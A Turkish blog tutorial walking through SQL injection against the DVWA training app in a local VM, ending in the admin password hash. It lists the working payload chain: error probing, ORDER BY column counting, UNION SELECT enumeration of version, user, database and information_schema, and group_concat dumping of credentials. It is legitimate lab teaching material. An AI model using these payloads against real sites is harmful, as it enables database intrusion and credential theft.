Sql İnjection Nasıl Yapılır? Örnek Saldırı (Resimli Anlatım)
Bu konumuzda Uygulamalı olarak SQL Enjeksiyon Saldırı Yöntemlerine değinilmiştir. Konuya dair sorularınızı yorum kısmından belirtebilirsiniz. Dokümanımızın yararlı olması dileğiyle.
Uygulama örneğinde, DVWA adlı web uygulamasının içerisinde bulunan bir sayfanın güvenlik zafiyetinden faydalanarak SQL Injection saldırısı gerçekleştirilmiştir. İlgili uygulamanın senaryosu, hedef sitenin veri tabanında saklı olan Admin şifresini SQL Injection açığından faydalanılarak ele geçirmektir.
İçindekiler Uygulamalı SQL Enjeksiyon Saldırı Konu Başlıkları:
- Uygulama Yapımı
- Uygulamaya Hazırlık
Uygulamanın gerçekleştirilmesinden önce bahsi geçen programın kurulum işlemleri yapıldı. DVWA programını kullanabilmek adına öncelikle Virtual Box sanal makineme Ubuntu 14.04.5 LTS işletim sistemini kurdum. İlgili işletim sistemine DVWA yazılımını kurmak için üç bölümden oluşan işlemler gerçekleştirdim. İlk olarak Apache, MySQL ve PHP kurulumlarını yaptım. İkinci bölümde ise yüklediğim Apache kök dizinini değiştirdim. Bu işlemin yapılmasının amacı sonrasında DVWA dosyasının ilgili dizin altına kaydedilecek olmasıdır. Sırasıyla tüm yapılandırma işlemlerini tamamladıktan sonra ise son bölüm olan ilgili programın kurulması işlemini gerçekleştirdim.
Bu işlem için tarayıcıma http://localhost/dvwa yazdım ve çıkan ekrana kullanıcı adı olarak ‘admin’ şifre olarak ‘password’ girerek sisteme erişim sağladım. Create/Reset Database butonuna tıkladığımda ise işlemlerim tamamlanmış ve ilgili program uygulamamı gerçekleştirmem için hazır hale gelmiş oldu.
Uygulama Yapımı
Uygulamayı gerçekleştirmek için ilk olarak sisteme giriş yapıldı.
SQL Enjeksiyon |
Uygulamalar listesinden üzerinde çalışılacak olan zafiyet seçildi. Çalışılacak olan saldırı “SQL Injection” zafiyetidir.
SQL Enjeksiyon |
Sonrasında metin kutusuna 1’ girildi ve aşağıdaki hata alındı.
Kaç tane sütun olduğunu belirlemek için order by kodu kullanıldı 3 yazıldığında aşağıdaki hata alındı. Metin kutusuna girilen ifade ise 99’ or ‘1’=’1’ ORDER BY 3#. 3 yerine 1 ve 2 yazıldığında hata alınmadı.
Veritabanının versiyon bilgisini öğrenebilmek için metin kutusuna 99’ or ‘1’=’1’ UNION Select 1,version()# komutu girildi. Aynı zamanda kullanıcı bilgisini öğrenebilmek için 99’ or ‘1’=’1’ UNION Select 1,user ()# komutu girildi. İlgili komutların çıktıları alttaki görsellerde mevcuttur.
SQL Enjeksiyon |
SQL Enjeksiyon |
Sorguların yapıldığı tablonun hangi veritabanında olduğunu öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,database ()# ve ilgili veri tabanının dizinini öğrenmek için 99’ or ‘1’=’1’ UNION Select 1,@@datadir# komutları sırasıyla metin kutusuna girildi. Çıktıları aşağıda görülmektedir.
SQL Enjeksiyon |
SQL Enjeksiyon |
Metin kutusuna sırasıyla 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(schema_name) from information_schema.schemata # ve 99′ or ‘1’ = ‘1’ UNION Select 1, group_concat(table_name) from information_schema.tables Where table_schema=’dvwa’ # komutları girildi. Çıktılar aşağıdaki gibidir.
SQL Enjeksiyon |
SQL Enjeksiyon |
Son olarak sırasıyla metin kutusuna 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name=’users’ # ve 99′ or ‘1’ = ‘1’ UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users # komutları girilerek veritabanında bulunan tüm şifre bilgilerinin md5 şifreli halleri ele geçirilmiştir.
SQL Enjeksiyon |
SQL Enjeksiyon |
Yöneticinin kullanıcı ad ve şifre bilgisi
admin; 5f4dcc3b5aa765d61d8327deb882cf99’dir.
şifre md5 algoritması ile şifrelenmiştir. İlgili şifre ise password kelimesidir.
Kaynak: icerik..go
--
---
akblog.net
Uygulamalı olarak SQL Enjeksiyon Saldırı Yöntemlerine değinilmiştir. Konuya dair sorularınızı yorum kısmından belirtebilirsiniz.
YanıtlaSil